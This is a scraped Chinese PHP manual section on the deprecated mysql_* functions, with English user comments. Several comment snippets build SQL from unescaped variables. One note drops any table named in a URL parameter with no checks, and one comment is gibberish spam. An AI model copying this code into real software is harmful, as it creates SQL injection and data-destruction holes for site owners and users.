    ereg("Records: ([0-9]*)", $strInfo, $records);
    ereg("Duplicates: ([0-9]*)", $strInfo, $dupes);
    ereg("Warnings: ([0-9]*)", $strInfo, $warnings);
    ereg("Deleted: ([0-9]*)", $strInfo, $deleted);
    ereg("Skipped: ([0-9]*)", $strInfo, $skipped);
    ereg("Rows matched: ([0-9]*)", $strInfo, $rows_matched);
    ereg("Changed: ([0-9]*)", $strInfo, $changed);

    $return['records'] = $records[1];
    $return['duplicates'] = $dupes[1];
    $return['warnings'] = $warnings[1];
    $return['deleted'] = $deleted[1];
    $return['skipped'] = $skipped[1];
    $return['rows_matched'] = $rows_matched[1];
    $return['changed'] = $changed[1];

    return $return;
}

After trying to update a row that may or may not exist, you can use the above function like so:

$vals = get_mysql_info($linkid);
if($vals['rows_matched'] == 0){
     mysql_query("INSERT INTO table values('val1','val2', 'valetc')", $linkid);
}
carl at NOSPAMthep dot lu dot se 06-Sep-2002 04:44
This function can be used as a workaround for a misfeature of MySQL: on an UPDATE, rows that aren't updated _solely because they looked the same before_ will not be seen in mysql_affected_rows(). This causes problems when you want to use the result of the update to determine if there's need to do an INSERT. With MySQL you can do an INSERT IGNORE if there's no risk of if failing because of a duplicate key other than the one used in the UPDATE. However, if this isn't the case or you want a bit of RDBMS independence, there's no easy/pretty workaround. I think I'll resort to doing a SELECT to determine the primary key before doing the update/insert, as using the CVS version of PHP isn't an option for me.


取得上一条查询生成的 ID

  • ? mysql_info
  • mysql_list_dbs ?
  • PHP Manual
  • MySQL 函数
  • 取得上一条查询生成的 ID

mysql_insert_id

(PHP 4, PHP 5)

mysql_insert_id — 取得上一条查询生成的 ID

Warning

本扩展自 PHP 5.5.0 起已废弃，并在自 PHP 7.0.0 开始被移除。应使用 MySQLi 或 PDO_MySQL 扩展来替换之。参见 MySQL：选择 API 指南来获取更多信息。用以替代本函数的有：

  • mysqli_insert_id()
  • PDO::lastInsertId()

说明

mysql_insert_id(resource $link_identifier = NULL): int

检索通过之前查询（通常是 INSERT）中 AUTO_INCREMENT 列生成的 ID。

参数

link_identifier

MySQL 连接。如不指定连接标识，则使用由 mysql_connect() 最近打开的连接。如果没有找到该连接，会尝试不带参数调用 mysql_connect() 来创建。如没有找到连接或无法建立连接，则会生成 E_WARNING 级别的错误。

返回值

成功时返回通过之前查询中 AUTO_INCREMENT 列生成的 ID，如果之前查询没有生成 AUTO_INCREMENT 值，则为 0。如果没有建立 MySQL 连接，则为 false。

示例

Example #1 mysql_insert_id() 示例

<?php
$link = mysql_connect('localhost', 'mysql_user', 'mysql_password');
if (!$link) {
die('Could not connect: ' . mysql_error());
}
mysql_select_db('mydb');

mysql_query("INSERT INTO mytable (product) values ('kossu')");
printf("Last inserted record has id %d\n", mysql_insert_id());
?>

注释

Caution

mysql_insert_id() will convert the return type of the native MySQL C API function mysql_insert_id() to a type of long (named int in PHP). If your AUTO_INCREMENT column has a column type of BIGINT (64 bits) the conversion may result in an incorrect value. Instead, use the internal MySQL SQL function LAST_INSERT_ID() in an SQL query. For more information about PHP's maximum integer values, please see the integer documentation.

Note:

Because mysql_insert_id() acts on the last performed query, be sure to call mysql_insert_id() immediately after the query that generates the value.

Note:

The value of the MySQL SQL function LAST_INSERT_ID() always contains the most recently generated AUTO_INCREMENT value, and is not reset between queries.

参见

  • mysql_query() - 发送一条 MySQL 查询
  • mysql_info() - 获取最近查询的有关信息

User Contributed Notes

dhiraj dot webdeveloper at gmail dot com 28-Sep-2017 12:22
MySQLi Procedural
//---------------------------------------------
$last_id = mysqli_insert_id($conn);

//---------------------------------------------
 <?php
$servername = "localhost";
$username = "username";
$password = "password";
$dbname = "myDB";

// Create connection
$conn = mysqli_connect($servername, $username, $password, $dbname);
// Check connection
if (!$conn) {
    die("Connection failed: " . mysqli_connect_error());
}

$sql = "INSERT INTO MyGuests (firstname, lastname, email)
VALUES ('John', 'Doe', 'john@example.com')";

if (mysqli_query($conn, $sql)) {
    $last_id = mysqli_insert_id($conn);
    echo "New record created successfully. Last inserted ID is: " . $last_id;
} else {
    echo "Error: " . $sql . "<br>" . mysqli_error($conn);
}

mysqli_close($conn);
?>
hoangvu4000 at gmail dot com 12-Jul-2013 05:09
How to get ID of the last updated row in MySQL?

75
down vote
I've found an answer to this problem :)

by Pomyk

SET @update_id := 0;
UPDATE some_table SET row = 'value', id = (SELECT @update_id := id)
WHERE some_other_row = 'blah' LIMIT 1;
SELECT @update_id;
EDIT by aefxx

This technique can be further expanded to retrieve the ID of every row affected by an update statement:

SET @uids := null;
UPDATE footable
   SET foo = 'bar'
 WHERE fooid > 5
   AND ( SELECT @uids := CONCAT_WS(',', fooid, @uids) );
SELECT @uids;
This will return a string with all the IDs concatenated by a colon.

(questions: 1388025  form stackoverflow)
bargainbatman at gmail dot com 25-Sep-2009 06:16
I thought this would be relevant to all the people using mysqli and looking for the ID after INSERT command :

<?php
function insert_join($catid, $disc_id) {
// insert a new item into the database
   $conn = db_connect();
   // insert new item
   $demande = "insert into categories_disc values ('', '".$catid."', '".$disc_id."')";
   $resultat = $conn->query($demande);
   if (!$resultat) {
     return false;
   } else {
    return $conn->insert_id; // function will now return the ID instead of true.
}

}
?>

Then, on the other side, let us call this function as follows :

<?php
$cat_id = insert_join($catid, $disc_id);
if($cat_id !== false) {

        echo "<p>Category stuff was added to the database as follows : <br>";
        echo "<hr>ID de la category : ".$cat_id."</p><hr>";

        }
?>
elinor dot hurst at REMOVETHIS dot gmail dot com 08-Apr-2008 07:27
I don't get all the fuss around this.

I read:
"The value of mysql_insert_id() is affected only by statements issued within the current client connection. It is not affected by statements issued by other clients."

See: http://dev.mysql.com/doc/refman/5.0/es/mysql-insert-id.html

I can't really see what's inaccurate about that.

"In the case of a multiple-row INSERT statement, mysql_insert_id() returns the first automatically generated AUTO_INCREMENT value; if no such value is generated, it returns the last last explicit value inserted into the AUTO_INCREMENT column."

I must be missing something here but why would you insert multiple rows and then only handle the last one with some favoured behaviour? You could just as well insert them one at a time and then handle each row separately with the latest id.

I can't see what's wrong with that.

However I can see what's wrong with simply using max(my_table.id_column) because of the concurrent access issues this would imply.
Alfred Nony Mouse 23-Feb-2008 05:33
There's nothing inherently wrong with using auto-increment fields. There's also nothing wrong with the main competetive idea, which is for the database to supply a primitive sequence of non-repeating identifiers, typically integers. This is rather like which side of the road you drive on.

The bigger problem is when people don't understand what they are doing with database access. It's like driving a car without really knowing the rules of the road. Such people wind up making bad decisions without realizing it, and then, eventually, something breaks.

Databases are complex beasts, and worth taking the time to really understand. Learn about the implications and limitations of different approaches to solving problems. Then, you will be prepared to pick a solution based on what has to work.
louis at intoplay dot com 13-Aug-2007 07:53
If mysql_insert_id() returns 0 or null, check your auto increment field is not being set by your sql query, also if you have multiple db connections like I did, the solution is to create a seperate db connection for this query.
foros (_AT_) anthalia.com 31-Jul-2007 02:06
Forget about using MAX to get the last inserted id. Race conditions like other users inserting between your SELECT MAX(.. and your INSERT may render your id unusable.

The WAY to get the id is by using mysql_insert_id() or the mysql SQL function LAST_INSERT_ID().

Take care, if using mysql_insert_id() you should provide the resource returned by the mysql_connect, not the resultset returned by mysql_query.
heiligkind at yahoo dot de 14-Dec-2005 01:31
If you insert a data row by using the ON DUPLICATE KEY UPDATE clause in an INSERT-statement, the mysql_insert_id() function will return not the same results as if you directly use LAST_INSERT_ID() in MySQL.

See the following example:

<?
   // insert a datarow, primary key is auto_increment
   // value is a unique key
   $query = "INSERT INTO test (value) VALUES ('test')";
   mysql_query( $query );

   echo 'LAST_INSERT_ID: ',
          mysql_query( "SELECT LAST_INSERT_ID()" ),
          '<br>mysql_insert_id: ',
          mysql_insert_id();

?>

This will print:

LAST_INSERT_ID: 1
mysql_insert_id: 1

In this case the function returns the same as the MySQL-Statement.
But see the insert on an existing key:

<?
   $query = "INSERT INTO test (value)
                  VALUES ('test')
                  ON DUPLICATE KEY UPDATE value = 'test2'";
   mysql_query( $query );

   echo 'LAST_INSERT_ID: ',
          mysql_query( "SELECT LAST_INSERT_ID()" ),
          '<br>mysql_insert_id: ',
          mysql_insert_id();

?>

This will print:

LAST_INSERT_ID: 2
mysql_insert_id: 1

By using the ON DUPLICATE KEY UPDATE clause, only the old datarow will be modified, if the INSERT statement causes a duplicate entry, but the LAST_INSERT_ID() function returns the next auto_increment value for the primary key, which is by the way not set as the next auto_increment value in the database.

The mysql_insert_id() function returns the primary key of the old (and changed) data row. For me this is the right operation method, because the LAST_INSERT_ID() function returns a value which is not referenced to a data row at all.

Greets from Munich.

heiligkind
02-Dec-2005 10:48
Take care of setting an empty value for the AUTO_INCREMENT Field else you never get a value except zero returned from mysq_insert_id() ....

Ciao Ephraim
athies at gmail dot com 21-Jul-2005 02:36
Just a quick note. mysql_insert_id() does work with REPLACE.
Steve Bond 24-Jun-2004 11:47
If you use this function after doing an INSERT ... SELECT to insert multiple rows at once, you get the autonumber ID of the *first* row added by the INSERT.

e.g. if there are 4 records in table 'init' that have column 'type' = 2
I want to add these 4 records to table 'game'
Table game has an autonumber column 'game_id' that is currently at 32.

If I do this query:

INSERT INTO game (type, players, rounds)
SELECT type, players, rounds FROM init
WHERE type = 2

Then mysql_insert_id() will return 33, not 36.
vksgeneric at hotmail dot com 09-Dec-1999 05:14
You can't do an INSERT DELAYED and expect to get anything but zero, for it runs in a separate thread, and mysql_insert_id() is tied to the current thread.
Vlad


列出 MySQL 服务器中可用的数据库

  • ? mysql_insert_id
  • mysql_list_fields ?
  • PHP Manual
  • MySQL 函数
  • 列出 MySQL 服务器中可用的数据库

mysql_list_dbs

(PHP 4, PHP 5)

mysql_list_dbs — 列出 MySQL 服务器中可用的数据库

Warning

本函数自 PHP 5.4.0 起已废弃，并且它和整个MySQL 扩展自 PHP 7.0.0 开始被移除。 可以选择出于活跃开发中的MySQLi或PDO_MySQL扩展来作为替代。 参见MySQL：选择 API 指南来获取更多信息。 用以替代本函数的有：

  • SQL 查询：SHOW DATABASES

说明

mysql_list_dbs(resource $link_identifier = NULL): resource

返回结果指针，包含当前 MySQL 守护进程中可用的数据库。

参数

link_identifier

MySQL 连接。如不指定连接标识，则使用由 mysql_connect() 最近打开的连接。如果没有找到该连接，会尝试不带参数调用 mysql_connect() 来创建。如没有找到连接或无法建立连接，则会生成 E_WARNING 级别的错误。

返回值

Returns a result pointer resource on success, or false on failure. 使用 mysql_tablename() 函数或任何使用结果表的函数（比如 mysql_fetch_array()）来遍历此结果指针。

示例

Example #1 mysql_list_dbs() 示例

<?php
// Usage without mysql_list_dbs()
$link = mysql_connect('localhost', 'mysql_user', 'mysql_password');
$res = mysql_query("SHOW DATABASES");

while ($row = mysql_fetch_assoc($res)) {
echo $row['Database'] . "\n";
}

// Deprecated as of PHP 5.4.0
$link = mysql_connect('localhost', 'mysql_user', 'mysql_password');
$db_list = mysql_list_dbs($link);

while ($row = mysql_fetch_object($db_list)) {
echo $row->Database . "\n";
}
?>

以上示例的输出类似于：

database1
database2
database3

注释

Note:

为了向下兼容，可以使用下列已废弃的别名： mysql_listdbs()

参见

  • mysql_db_name() - 取得 mysql_list_dbs 返回的结果数据
  • mysql_select_db() - 选择 MySQL 数据库

User Contributed Notes

jeff at forerunnertv dot com 06-Jun-2020 04:17
There is no direct equivalent of mysql_list_dbs() as a mysqli_list_dbs() command, but you can query "show databases" instead.

So this:

$db_list = mysql_list_dbs($connect);  //mysql

Is equivalent to this:

$db_list = mysqli_query($connect, "SHOW DATABASES"); //mysqli
busilezas at gmail dot com 24-Feb-2015 11:49
The example is wrong in Spanish version.

ERROR:  mysql_fetch_assoc() expects parameter 1 to be resource, null given in XXX on line 5
while ($fila = mysql_fetch_assoc($res)) {

OK.
while ($fila = mysql_fetch_assoc($resultado)) {
theriault 03-Jul-2012 09:46
Another alternative to this function is:

SQL Query: SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA
matjung at hotmail dot com 27-Feb-2010 02:30
The result pointer contains only the databases for which the mysql_user has the select priviledge granted.


列出 MySQL 表字段

  • ? mysql_list_dbs
  • mysql_list_processes ?
  • PHP Manual
  • MySQL 函数
  • 列出 MySQL 表字段

mysql_list_fields

(PHP 4, PHP 5)

mysql_list_fields — 列出 MySQL 表字段

Warning

本函数自 PHP 5.4.0 起已废弃，并且它和整个MySQL 扩展自 PHP 7.0.0 开始被移除。 可以选择出于活跃开发中的MySQLi或PDO_MySQL扩展来作为替代。 参见MySQL：选择 API 指南来获取更多信息。 用以替代本函数的有：

  • SQL 查询：SHOW COLUMNS FROM sometable

说明

mysql_list_fields(string $database_name, string $table_name, resource $link_identifier = NULL): resource

检索指定表名的信息。

此函数已弃用。最好使用 mysql_query() 发出 SQL SHOW COLUMNS FROM table [LIKE 'name'] 语句代替。

参数

database_name

The name of the database that's being queried.

table_name

The name of the table that's being queried.

link_identifier

MySQL 连接。如不指定连接标识，则使用由 mysql_connect() 最近打开的连接。如果没有找到该连接，会尝试不带参数调用 mysql_connect() 来创建。如没有找到连接或无法建立连接，则会生成 E_WARNING 级别的错误。

返回值

A result pointer resource on success, or false on failure.

结果指针，可以用于 mysql_field_flags()、mysql_field_len()、mysql_field_name() 和 mysql_field_type()。

示例

Example #1 替代弃用 mysql_list_fields()

<?php
$result = mysql_query("SHOW COLUMNS FROM sometable");
if (!$result) {
echo 'Could not run query: ' . mysql_error();
exit;
}
if (mysql_num_rows($result) > 0) {
while ($row = mysql_fetch_assoc($result)) {
print_r($row);
}
}
?>

以上示例的输出类似于：

Array
(
    [Field] => id
    [Type] => int(7)
    [Null] =>
    [Key] => PRI
    [Default] =>
    [Extra] => auto_increment
)
Array
(
    [Field] => email
    [Type] => varchar(100)
    [Null] =>
    [Key] =>
    [Default] =>
    [Extra] =>
)

注释

Note:

为了向下兼容，可以使用下列已废弃的别名： mysql_listfields()

参见

  • mysql_field_flags() - 从结果中取得和指定字段关联的 flags
  • mysql_info() - 获取最近查询的有关信息

User Contributed Notes

user1337 at 1337example dot com 08-Nov-2017 12:28
asgasgashashashasashsah
dshds
hd
s
sd
j
sj
df
j
fg
j
dfhfj
gf
jr
h
yure

gfj
3w
yfg
jr
ej
dtey

y
j
uresy
hf
y
re
256
4

rhy
udf
j
d

HUI
phpflow at gmail dot com 22-Jun-2012 08:32
Below script is used to get all coloumn indormation of an table.When we are working custome ORM then we need to match the coloumn name with array keys.

<?php
function getColoumn($table) {
     $result = mysql_query("SHOW COLUMNS FROM ". $table);
      if (!$result) {
        echo 'Could not run query: ' . mysql_error();
      }
      $fieldnames=array();
      if (mysql_num_rows($result) > 0) {
        while ($row = mysql_fetch_assoc($result)) {
          $fieldnames[] = $row['Field'];
        }
      }

      return $fieldnames;
}
?>
perwool at seznam dot cz 29-Oct-2007 02:32
Every my html table output begins with heading row containing the field names. For that purpose I accepted the short combination of MySQL function, giving me a result similar to the mysql_fetch_array() for the row of values. The following example shows the basic idea. It should be adapted for the specific use:

<?php
//...
$field_names = array_keys( mysql_fetch_array( mysql_query( $query, $link), MYSQL_ASSOC));
//...
?>

The advantage of this is, that it gives the names of the result, neither the field names of the whole table.
Please read the discussion about duplicate field names in SQL result carefully. The use, as shown in the example above, increments the pointer, hence some regular function, which does not, could be more useful :-)

Jan
steve at tequilasolutions dot com 12-Sep-2006 06:33
Note, using mysql_list_fields will change the currently selected database so subsequent mysql_query operations will be on the database in param 1 not the one selected with mysql_select_db
rhyous at yahoo dot com 04-Jun-2005 03:22
To make an array containing the names of a column from a table, you use the following simple script: (Note: using table1 with three columns)

<?php
$qColumnNames = mysql_query("SHOW COLUMNS FROM table1",$db) or die("mysql error");
$numColumns = mysql_num_rows($qColumnNames);
$x = 0;
while ($x < $numColumns)
{
    $colname = mysql_fetch_row($qColumnNames);
    $col[$colname[0]] = $colname[0];
    $x++;
}

print_r($col);

/* it will have the following output
Array (
[firstcolumn] => firstcolumn
[secondcolumn] => secondcolumn
[thirdcolumn] => thirdcolumn
)
*/
?>

Or you can number the columns from zero.  This help when using it in conjunction with mysql_fetch_row to get an array.  You don't have to remember which number of the array a certain column is.

<?php
$qColumnNames = mysql_query("SHOW COLUMNS FROM table1",$db) or die("mysql error");
$numColumns = mysql_num_rows($qColumnNames);
$x = 0;
while ($x < $numColumns)
{
    $colname = mysql_fetch_row($qColumnNames);
    $col[$colname[0]] = $x;
    $x++;
}

print_r($col);

/* it will have the following output
Array (
[firstcolumn] => 0
[secondcolumn] => 1
[thirdcolumn] => 2
)
*/
?>

To use it in conjuction with mysql_fetch_row:

<?php
$row = mysql_fetch_row("SELECT * from table1",$db) or die("mysql error");
?>

You can now call $row[col[firstcolumn]].  This becomes useful when you have a lot of columns.
mbevan at marginsoftware dot com 13-Nov-2003 01:40
If you're willing to use a lot of functions to get a little information about fields in a table, this function is for you.  If you just want to get all the information you can find, you can use this:

<?php

// Taken from: http://ca.php.net/manual/en/function.mysql-field-flags.php
// Original by: amir at scrounch dot com
// Returns the name of the fields in the primary key for a table.
// Also keeps the fields in KEY order.  Handy.
function getPrimaryKeyOf($table) {
  $keys = Array();

  $query = sprintf("SHOW KEYS FROM `%s`", $table);
  $result = mysql_query($query) or die(mysql_error());

  while ($row = mysql_fetch_assoc($result)) {
    if ( $row['Key_name'] == 'PRIMARY' )
      $keys[$row['Seq_in_index'] - 1] = $row['Column_name'];
  }

  return $keys;
}

// Returns a bunch of information about a table...
// The name of the auto-increment field, if any, fields in the
// primary key (using the function above), and all information
// about all fields.
function getTableInformationOf($table) {
  $information = array(
      "auto"    => "",
      "primary" => array(),
      "fields"  => array()
    );

  $information['primary'] = $this->getPrimaryKeyOf($table);

  $result = mysql_query("DESC `$table`");
  while ( $field = mysql_fetch_assoc($result) ) {
    $information['fields'][] = $field;
    if ( $field['Extra'] == "auto_increment" )
      $information['auto'] = $field['Field'];
  }

  return $information;
}

?>
dom at brainwaveuk dot com 19-Jul-2002 07:55
mysql_list_fields() retrieves information about the given table name but you can use something like mysql_fetch_field to retrieve the field names from a result source.


列出 MySQL 进程

  • ? mysql_list_fields
  • mysql_list_tables ?
  • PHP Manual
  • MySQL 函数
  • 列出 MySQL 进程

mysql_list_processes

(PHP 4 >= 4.3.0, PHP 5)

mysql_list_processes — 列出 MySQL 进程

Warning

本扩展自 PHP 5.5.0 起已废弃，并在自 PHP 7.0.0 开始被移除。应使用 MySQLi 或 PDO_MySQL 扩展来替换之。参见 MySQL：选择 API 指南来获取更多信息。用以替代本函数的有：

  • mysqli_thread_id()

说明

mysql_list_processes(resource $link_identifier = NULL): resource|false

检索当前 MySQL 服务器线程。

参数

link_identifier

MySQL 连接。如不指定连接标识，则使用由 mysql_connect() 最近打开的连接。如果没有找到该连接，会尝试不带参数调用 mysql_connect() 来创建。如没有找到连接或无法建立连接，则会生成 E_WARNING 级别的错误。

返回值

A result pointer resource on success 或者在失败时返回 false.

示例

Example #1 mysql_list_processes() 示例

<?php
$link = mysql_connect('localhost', 'mysql_user', 'mysql_password');

$result = mysql_list_processes($link);
while ($row = mysql_fetch_assoc($result)){
printf("%s %s %s %s %s\n", $row["Id"], $row["Host"], $row["db"],
$row["Command"], $row["Time"]);
}
mysql_free_result($result);
?>

以上示例的输出类似于：

1 localhost test Processlist 0
4 localhost mysql sleep 5

参见

  • mysql_thread_id() - 返回当前线程的 ID
  • mysql_stat() - 取得当前系统状态

User Contributed Notes

clintond at iol dot ie 15-Oct-2014 05:19
You can achieve the equivalent of the mysql_list_processes() function for MySQLi in php using:
function mysqli_list_processes(){
  $query = "SHOW PROCESSLIST";
  if ($res =$this->mysqli->query($query)){
    while ($row = $res->fetch_assoc()) $recs[$i++] = $row;
    $res->close();
    return $recs;
  } else {
    return false;
  }
}


列出 MySQL 数据库中的表

  • ? mysql_list_processes
  • mysql_num_fields ?
  • PHP Manual
  • MySQL 函数
  • 列出 MySQL 数据库中的表

mysql_list_tables

(PHP 4, PHP 5)

mysql_list_tables — 列出 MySQL 数据库中的表

Warning

本函数自 PHP 4.3.0 起已废弃，并且它和整个 MySQL 扩展自 PHP 7.0.0 开始被移除。 可以选择出于活跃开发中的 MySQLi 或 PDO_MySQL 扩展来作为替代。 参见 MySQL：选择 API 指南来获取更多信息。用以替代本函数的有：

  • SQL Query: SHOW TABLES FROM dbname

说明

mysql_list_tables(string $database, resource $link_identifier = ?): resource|false

列出 MySQL 数据库中的表。

此函数已废弃。推荐使用 mysql_query() 来执行 SQL SHOW TABLES [FROM db_name] [LIKE 'pattern'] 来实现同样的操作。

参数

database

数据库名称

link_identifier

MySQL 连接。如不指定连接标识，则使用由 mysql_connect() 最近打开的连接。如果没有找到该连接，会尝试不带参数调用 mysql_connect() 来创建。如没有找到连接或无法建立连接，则会生成 E_WARNING 级别的错误。

返回值

成功时返回结果指针 resource 或者在失败时返回 false。

可以使用 mysql_tablename() 函数来遍历该结果指针，或者使用任何针对表操作的函数，类似 mysql_fetch_array()。

更新日志

版本 | 说明
4.3.7 | 此函数已废弃。

示例

Example #1 mysql_list_tables() 例子

<?php
$dbname = 'mysql_dbname';

if (!mysql_connect('mysql_host', 'mysql_user', 'mysql_password')) {
echo 'Could not connect to mysql';
exit;
}

$sql = "SHOW TABLES FROM $dbname";
$result = mysql_query($sql);

if (!$result) {
echo "DB Error, could not list tables\n";
echo 'MySQL Error: ' . mysql_error();
exit;
}

while ($row = mysql_fetch_row($result)) {
echo "Table: {$row[0]}\n";
}

mysql_free_result($result);
?>

注释

Note:

为了向下兼容，可以使用下列已废弃的别名： mysql_listtables()

参见

  • mysql_list_dbs() - 列出 MySQL 服务器中可用的数据库
  • mysql_tablename() - 取得表名

User Contributed Notes

bimal at sanjaal dot com 28-Feb-2013 09:22
A better alternative to mysql_list_tables() would be the following mysql_tables() function.

<?php
/**
* Better alternative to mysql_list_tables (deprecated)
*/
function mysql_tables($database='')
{
    $tables = array();
    $list_tables_sql = "SHOW TABLES FROM {$database};";
    $result = mysql_query($list_tables_sql);
    if($result)
    while($table = mysql_fetch_row($result))
    {
        $tables[] = $table[0];
    }
    return $tables;
}

# Usage example
$tables = mysql_tables($database_local);
?>
kroczu at interia dot pl 08-Dec-2006 03:01
<?
// here is a much more elegant method to check if a table exists ( no error generate)

if( mysql_num_rows( mysql_query("SHOW TABLES LIKE '".$table."'")))
{
 //...
}

?>
mrkvomail at centrum dot cz 29-Jan-2006 11:48
You can also do this with function mysql_query(). It's better because mysql_list_tables is old function and you can stop showing errors.

function mysql_table_exists($dbLink, $database, $tableName)
{
   $tables = array();
   $tablesResult = mysql_query("SHOW TABLES FROM $database;", $dbLink);
   while ($row = mysql_fetch_row($tablesResult)) $tables[] = $row[0];
    if (!$result) {
    }
   return(in_array($tableName, $tables));
}
Anonymous 15-Dec-2005 06:38
Getting the database status:
<?
// Get database status by DtTvB
// Connect first
mysql_connect   ('*********', '*********', '********');
mysql_select_db ('*********');

// Get the list of tables
$sql  = 'SHOW TABLES FROM *********';
if (!$result = mysql_query($sql)) { die ('Error getting table list (' . $sql . ' :: ' . mysql_error() . ')'); }

// Make the list of tables an array
$tablerow = array();
while ($row = mysql_fetch_array($result)) { $tablerow[] = $row; }

// Define variables...
$total_tables       = count($tablerow);
$statrow            = array();
$total_rows         = 0;
$total_rows_average = 0;
$sizeo              = 0;

// Get the status of each table
for ($i = 0; $i < count($tablerow); $i++) {
    // Query the status...
    $sql = "SHOW TABLE STATUS LIKE '{$tablerow[$i][0]}';";
    if (!$result = mysql_query($sql)) { die ('Error getting table status (' . $sql . ' :: ' . mysql_error() . ')'); }
    // Get the status array of this table
    $table_info = mysql_fetch_array($result);
    // Add them to the total results
    $total_rows         += $table_info[3];
    $total_rows_average += $table_info[4];
    $sizeo              += $table_info[5];
}

// Function to calculate size of the file
function c2s($bs) {
         if ($bs < 964)     { return round($bs)           . " Bytes"; }
    else if ($bs < 1000000) { return round($bs/1024,2)    . " KB"   ; }
    else                    { return round($bs/1048576,2) . " MB"   ; }
}

// Echo the result!!!!!!!!!
echo "{$total_rows} rows in {$total_tables} tables";
echo "<br>Average size in each row: " . c2s($total_rows_average/$total_tables);
echo "<br>Average size in each table: " . c2s($sizeo/$total_tables);
echo "<br>Database size: " . c2s($sizeo);

// Close the connection
mysql_close();
?>
daveheslop (dave heslop) 07-May-2005 04:45
Worth noting for beginners: using a row count to test for the existence of a table only works if the table actually contains data, otherwise the test will return false even if the table exists.
wbphfox at xs4all dot nl 09-Sep-2003 09:55
Here is a way to show al the tables and have the function to drop them...

<?php

echo "<p align=\"left\">";
//this is the connection file for the database....
$connectfile = "connect.php";
require $connectfile;

$dbname = 'DATABASE NAME';

$result = mysql_list_tables($dbname);

echo "<table width=\"75%\" border=\"0\">";
echo  "<tr bgcolor=\"#993333\"> ";
echo    "<td><font face=\"Verdana, Arial, Helvetica, sans-serif\" size=\"-1\" color=\"#FFFFFF\">Table name:</font></td>";
echo    "<td><font face=\"Verdana, Arial, Helvetica, sans-serif\" size=\"-1\" color=\"#FFFFFF\">Delete?</font></td>";
echo  "</tr>";

    if (!$result) {
        print "DB Error, could not list tables\n";
        print 'MySQL Error: ' . mysql_error();
        exit;
    }

    while ($row = mysql_fetch_row($result)) {
        echo "<tr bgcolor=\"#CCCCCC\">";
echo    "<td>";
           print "$row[0]\n";
echo    "</td>";

echo    "<td>";
echo    "<a href=\"$PHP_SELF?action=delete&table=";
         print "$row[0]\n";
echo    "\">Yes?</a>";

echo    "</td>";

echo "</tr>";

    }

    mysql_free_result($result);

//Delete
if($action=="delete")
{
$deleteIt=mysql_query("DROP TABLE $table");
if($deleteIt)
{
echo "The table \"";
echo "$table\" has been deleted with succes!<br>";
}
else
{
echo "An error has occured...please try again<br>";
}
}

?>
thebitman at attbi dot com 07-May-2003 01:49
okay everybody, the fastest, most accurate, safest method:

function mysql_table_exists($table, $link)
{
     $exists = mysql_query("SELECT 1 FROM `$table` LIMIT 0", $link);
      if ($exists) return true;
     return false;
}

Note the "LIMIT 0", I mean come on, people, can't get much faster than that! :)
As far as a query goes, this does absolutely nothing. But it has the ability to fail if the table doesnt exist, and that's all you need!
daevid at daevid dot com 17-Dec-2002 04:36
I was in need of a way to create a database, complete with tables from a .sql file. Well, since PHP/mySQL doesn't allow that it seems, the next best idea was to create an empty template database and 'clone & rename it'. Guess what? There is no mysql_clone_db() function or any SQL 'CREATE DATABASE USING TEMPLATEDB' command. grrr...

So, this is the hack solution I came up with:

$V2DB = "V2_SL".$CompanyID;

$result = mysql_create_db($V2DB, $linkI);
if (!$result) $errorstring .= "Error creating ".$V2DB." database<BR>\n".mysql_errno($linkI).": ".mysql_error($linkI)."<BR>\n";

mysql_select_db ($V2DB, $linkI) or die ("Could not select ".$V2DB." Database");

//You must have already created the "V2_Template" database.
//This will make a clone of it, including data.

$tableResult = mysql_list_tables ("V2_Template");
while ($row = mysql_fetch_row($tableResult))
{
    $tsql = "CREATE TABLE ".$V2DB.".".$row[0]." AS SELECT * FROM V2_Template.".$row[0];
    echo $tsql."<BR>\n";
    $tresult = mysql_query($tsql,$linkI);
    if (!$tresult) $errorstring .= "Error creating ".$V2DB.".".$row[0]." table<BR>\n".mysql_errno($linkI).": ".mysql_error($linkI)."<BR>\n";
}
cdarklock at darklock dot com 06-Dec-2002 08:03
Actually, the initially posted SELECT COUNT(*) approach is flawless. SELECT COUNT(*) will provide one and only one row in response unless you can't select from the table at all. Even a brand new (empty) table responds with one row to tell you there are 0 records.

While other approaches here are certainly functional, the major problem comes up when you want to do something like check a database to ensure that all the tables you need exist, as I needed to do earlier today. I wrote a function called tables_needed() that would take an array of table names -- $check -- and return either an array of tables that did not exist, or FALSE if they were all there. With mysql_list_tables(), I came up with this in the central block of code (after validating parameters, opening a connection, selecting a database, and doing what most people would call far too much error checking):

if($result=mysql_list_tables($dbase,$conn))
{   // $count is the number of tables in the database
    $count=mysql_num_rows($result);
    for($x=0;$x<$count;$x++)
    {
        $tables[$x]=mysql_tablename($result,$x);
    }
    mysql_free_result($result);
    // LOTS more comparisons here
    $exist=array_intersect($tables,$check);
    $notexist=array_diff($exist,$check);
    if(count($notexist)==0)
    {
        $notexist=FALSE;
    }
}

The problem with this approach is that performance degrades with the number of tables in the database. Using the "SELECT COUNT(*)" approach, performance only degrades with the number of tables you *care* about:

// $count is the number of tables you *need*
$count=count($check);
for($x=0;$x<$count;$x++)
{
    if(mysql_query("SELECT COUNT(*) FROM ".$check[$x],$conn)==FALSE)
    {
        $notexist[count($notexist)]=$check[$x];
    }
}
if(count($notexist)==0)
{
    $notexist=FALSE;
}

While the increase in speed here means virtually nothing to the average user who has a database-driven backend on his personal web site to handle a guestbook and forum that might get a couple hundred hits a week, it means EVERYTHING to the professional who has to handle tens of millions of hits a day... where a single extra millisecond on the query turns into more than a full day of processing time. Developing good habits when they don't matter keeps you from having bad habits when they *do* matter.
29-Oct-2002 05:42
<?
/*
   Function that returns whole size of a given MySQL database
   Returns false if no db by that name is found
*/

  function getdbsize($tdb) {
    $db_host='localhost';
    $db_usr='USER';
    $db_pwd='XXXXXXXX';
    $db = mysql_connect($db_host, $db_usr, $db_pwd) or die ("Error connecting to MySQL Server!\n");
    mysql_select_db($tdb, $db);

    $sql_result = "SHOW TABLE STATUS FROM " .$tdb;
    $result = mysql_query($sql_result);
    mysql_close($db);

    if($result) {
        $size = 0;
        while ($data = mysql_fetch_array($result)) {
             $size = $size + $data["Data_length"] + $data["Index_length"];
        }
        return $size;
    }
    else {
        return FALSE;
    }
  }

?>

<?
/*
   Implementation example
*/

  $tmp = getdbsize("DATABASE_NAME");
  if (!$tmp) { echo "ERROR!"; }
  else { echo $tmp; }
?>
mail at thomas-hoerner dot de 04-Oct-2002 09:24
You can also use mysql_fetch_object if you consider a specialty: The name of the object-var is

Tables_in_xxxxx

where xxxxx is the name of the database.

i.e. use

$result = mysql_list_tables($dbname);
